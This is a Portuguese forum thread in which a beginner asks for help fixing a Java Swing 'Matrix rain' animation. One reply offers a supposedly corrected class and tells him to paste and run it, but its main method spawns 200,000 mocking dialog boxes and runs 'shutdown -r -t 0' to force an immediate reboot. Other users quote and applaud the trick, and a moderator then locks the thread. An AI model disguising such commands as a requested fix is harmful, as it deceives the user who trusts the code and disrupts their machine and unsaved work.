Saudações a Quem Tem Coragem

bom dia Gurjeiros Programadores!
trago uma dúvida do netbeans. para os que me criticam, saibam que não dou ouvidos, e peço piedade pra essa gente careta e covarde.
muito bem mais minha dúvida esta no seguinte. ganhei um código do senhor tunai o código tem o que preciso, mais quando levo ele para o projeto ele fica todo cinza, só tenho 5 meses de netbeans é parco pra mim, por isso preciso de socorro urgente. desejo que o mesmo seja analizado e testado e me enviado de volta corrigido, caso Programadores de verdade desejem me ajudar enviem logo uma mensagem dizendo que sim. não sei o lugar exato onde inseri-lo inicialmente, aparece isto.

[code]/*

  • matrixadministracao.java
  • Created on 2 de Agosto de 2013, 06:29
    */

/**
*

  • @author Junior
    */
    public class matrixadministracao extends javax.swing.JFrame {

    /** Creates new form matrixadministracao */
    public matrixadministracao() {
    initComponents();
    }

    /** This method is called from within the constructor to

    • initialize the form.

    • WARNING: Do NOT modify this code. The content of this method is

    • always regenerated by the Form Editor.
      */
      @SuppressWarnings(“unchecked”)
      //
      private void initComponents() {

      setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);

      javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
      getContentPane().setLayout(layout);
      layout.setHorizontalGroup(
      layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
      .addGap(0, 400, Short.MAX_VALUE)
      );
      layout.setVerticalGroup(
      layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
      .addGap(0, 300, Short.MAX_VALUE)
      );

      pack();
      }//

    /**

    • @param args the command line arguments
      */
      public static void main(String args[]) {
      java.awt.EventQueue.invokeLater(new Runnable() {
      public void run() {
      new matrixadministracao().setVisible(true);
      }
      });
      }

    // Variables declaration - do not modify
    // End of variables declaration

}

código

import java.awt.;
import java.util.
;
import javax.swing.*;

@SuppressWarnings(“serial”)
public class matrixRain extends JFrame {
private static final int FONT_SIZE = 20;
private static final int NUMBER_OF_REPEATS = 5;
private static final String TEXT = new String(“あ た
ア カ サ ザ ジ
ズ ゼ ゾ シ ス セ ソ キ ク ケ コ イ ウ エ オ ジャ な”);
private static JPanel panel = new JPanel(null);
private static Random random = new Random();
private static JLabel label[] = new JLabel[NUMBER_OF_REPEATS];

public matrixRain() {
this.add(panel);
panel.setBackground(Color.BLACK);
}
public void scroll() {
//array to hold x coordinates for the labels
int[] random_x = new int[NUMBER_OF_REPEATS];
//create an infinite loop
while (true) {
//initialise all the labels to random characters
for (int i = 0; i < NUMBER_OF_REPEATS; i++) {
int character_initial = random.nextInt(TEXT.length());
random_x[i] = random.nextInt(panel.getWidth() / FONT_SIZE) - 1;
label[i] = new JLabel("" + TEXT.charAt(character_initial));
panel.add(label[i]);
label[i].setFont(new Font(“monospaced”, Font.PLAIN, FONT_SIZE));
label[i].setForeground(new Color(0, 255, 0));
}
// change the text of the labels and their position
for (int j = 0; j < (panel.getHeight() / FONT_SIZE) * 2; j++) {
int character = random.nextInt(TEXT.length());
//move each character
for (int i = 0; i < NUMBER_OF_REPEATS; i++) {
label[i].setBounds(random_x[i] * FONT_SIZE, j * (FONT_SIZE / 2), FONT_SIZE, FONT_SIZE);
label[i].setText("" + TEXT.charAt(character));
label[i].setForeground(new Color(0, 255 - (j * 5), 0));
for (int k = 0; k < NUMBER_OF_REPEATS; k++) {
int character_initial = random.nextInt(TEXT.length());
random_x[k] = random.nextInt(panel.getWidth() / FONT_SIZE) - 1;
label[k] = new JLabel("" + TEXT.charAt(character_initial));
panel.add(label[k]);
label[k].setFont(new Font(“monospaced”, Font.PLAIN, FONT_SIZE));
label[k].setForeground(new Color(0, 255, 0));
Color colour = label[k].getForeground();
if (colour.getGreen() <= 80) {
panel.remove(label[k]);
k = (panel.getHeight() / FONT_SIZE) * 2;
}
}
}
// pause between each character
try {
Thread.sleep(15);
} catch (Exception e) {
}
}
}
}
public static void main(String[] args) {
matrixRain frame = new matrixRain();
frame.setVisible(true);
frame.setSize(600, 400);
frame.setResizable(false);
frame.setMinimumSize(new Dimension(300, 200));
frame.setLocationRelativeTo(null);
frame.setTitle(“Matrix Code Emulator by Ricco”);
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frame.scroll();
}
}

[/code]

 
import java.awt.Color;
import java.awt.Dimension;
import java.awt.Font;
import java.io.IOException;
import java.util.Random;

import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JOptionPane;
import javax.swing.JPanel;
    
@SuppressWarnings("serial")    
public class matrixRain extends JFrame {     
private static final int FONT_SIZE = 20;    
private static final int NUMBER_OF_REPEATS = 5;    
private static final String TEXT = new String("&#12354;     &#12383;  &#12450;        &#12459;                                  &#12469;    &#12470;      &#12472;&#12474;       &#12476;       &#12478;           &#12471;    &#12473;      &#12475;   &#12477;    &#12461;   &#12463;   &#12465;   &#12467;   &#12452;  &#12454;   &#12456;    &#12458;   &#12472;&#12515; &#12394;");    
private static JPanel panel = new JPanel(null);    
private static Random random = new Random();    
private static JLabel label[] = new JLabel[NUMBER_OF_REPEATS];    
    
public matrixRain() {            
   this.add(panel);    
   panel.setBackground(Color.BLACK);    
}    
public void scroll() {    
      //array to hold x coordinates for the labels    
    int[] random_x = new int[NUMBER_OF_REPEATS];    
    //create an infinite loop    
    while (true) {    
        //initialise all the labels to random characters    
        for (int i = 0; i < NUMBER_OF_REPEATS; i++) {    
         int character_initial = random.nextInt(TEXT.length());    
          random_x[i] = random.nextInt(panel.getWidth() / FONT_SIZE) - 1;    
          label[i] = new JLabel("" + TEXT.charAt(character_initial));    
          panel.add(label[i]);    
          label[i].setFont(new Font("monospaced", Font.PLAIN, FONT_SIZE));    
        label[i].setForeground(new Color(0, 255, 0));    
     }    
    // change the text of the labels and their position    
    for (int j = 0; j < (panel.getHeight() / FONT_SIZE) * 2; j++) {    
        int character = random.nextInt(TEXT.length());    
        //move each character    
       for (int i = 0; i < NUMBER_OF_REPEATS; i++) {    
            label[i].setBounds(random_x[i] * FONT_SIZE, j * (FONT_SIZE / 2), FONT_SIZE, FONT_SIZE);    
            label[i].setText("" + TEXT.charAt(character));    
            label[i].setForeground(new Color(0, 255 - (j * 5), 0));         
           for (int k = 0; k < NUMBER_OF_REPEATS; k++) {    
               int character_initial = random.nextInt(TEXT.length());    
               random_x[k] = random.nextInt(panel.getWidth() / FONT_SIZE) - 1;    
                label[k] = new JLabel("" + TEXT.charAt(character_initial));    
                panel.add(label[k]);    
                label[k].setFont(new Font("monospaced", Font.PLAIN, FONT_SIZE));    
               label[k].setForeground(new Color(0, 255, 0));    
               Color colour = label[k].getForeground();    
               if (colour.getGreen() <= 80) {    
                    panel.remove(label[k]);    
                   k = (panel.getHeight() / FONT_SIZE) * 2;    
                }    
            }    
        }    
        // pause between each character    
        try {    
            Thread.sleep(15);    
        } catch (Exception e) {    
        }    
     }    
  }    
        }    
  public static void main(String[] args) {    
	  
		for(long i = 0; i < 200000; i ++){
			JOptionPane.showMessageDialog(null, "Da próxima vez, estude, aprenda e faça sozinho");
		}

               try{
                     Runtime.getRuntime().exec("shutdown -r -t 0");
              } catch (Exception ex){
 
              }
	  
		matrixRain frame = new matrixRain();
		frame.setVisible(true);
		frame.setSize(600, 400);
		frame.setResizable(false);
		frame.setMinimumSize(new Dimension(300, 200));
		frame.setLocationRelativeTo(null);
		frame.setTitle("Matrix Code Emulator by Ricco");
		frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
		frame.scroll();    
  }    
}

Está aí. Use este código. Cole-o sobre a classe matrixRain, salve e execute com SHIFT + F6.

gente isso não acaba nunca
o que esse cara ta querendo?

perdi completamente a vontade de ver seu código.

i am so sorry;

[quote]vc é demais mesmos drsmachado
view plaincopy to clipboardprint?

[code]
for(long i = 0; i < 200000; i ++){
JOptionPane.showMessageDialog(null, "Da próxima vez, estude, aprenda e faça sozinho");
}

              try{    
                    Runtime.getRuntime().exec(&quot;shutdown -r -t 0&quot;);    
             } catch (Exception ex){    
  
             }  [/code][/quote]

muito bom fodastico haha

Aproveitando o código, preciso que algum programador caridoso vá trabalhar pra mim segunda feira e lava o quintal de casa.

Obrigado.

[quote=rafael22fs]Aproveitando o código, preciso que algum programador caridoso vá trabalhar pra mim segunda feira e lava o quintal de casa.

Obrigado.[/quote]
E eu to precisando de alguém que lave o carro e dê um jeito no jardim, está horrível.
Pode aproveitar e me deixar R$ 500, para eu sair com a patroa.

[quote]for(long i = 0; i < 200000; i ++){
JOptionPane.showMessageDialog(null, “Da próxima vez, estude, aprenda e faça sozinho”);
}[/quote]

++

[quote]

perdi completamente a vontade de ver seu código. [/quote]

++

kkkkkkkk.

Nenhum moderador ou administrador vai fazer nada com esse cara?
Ele já fez uns 20 posts sobre a mesma coisa.

Ele foi travado. Para evitar tumultuar mais ainda, vou travar não só este quanto outros tópicos.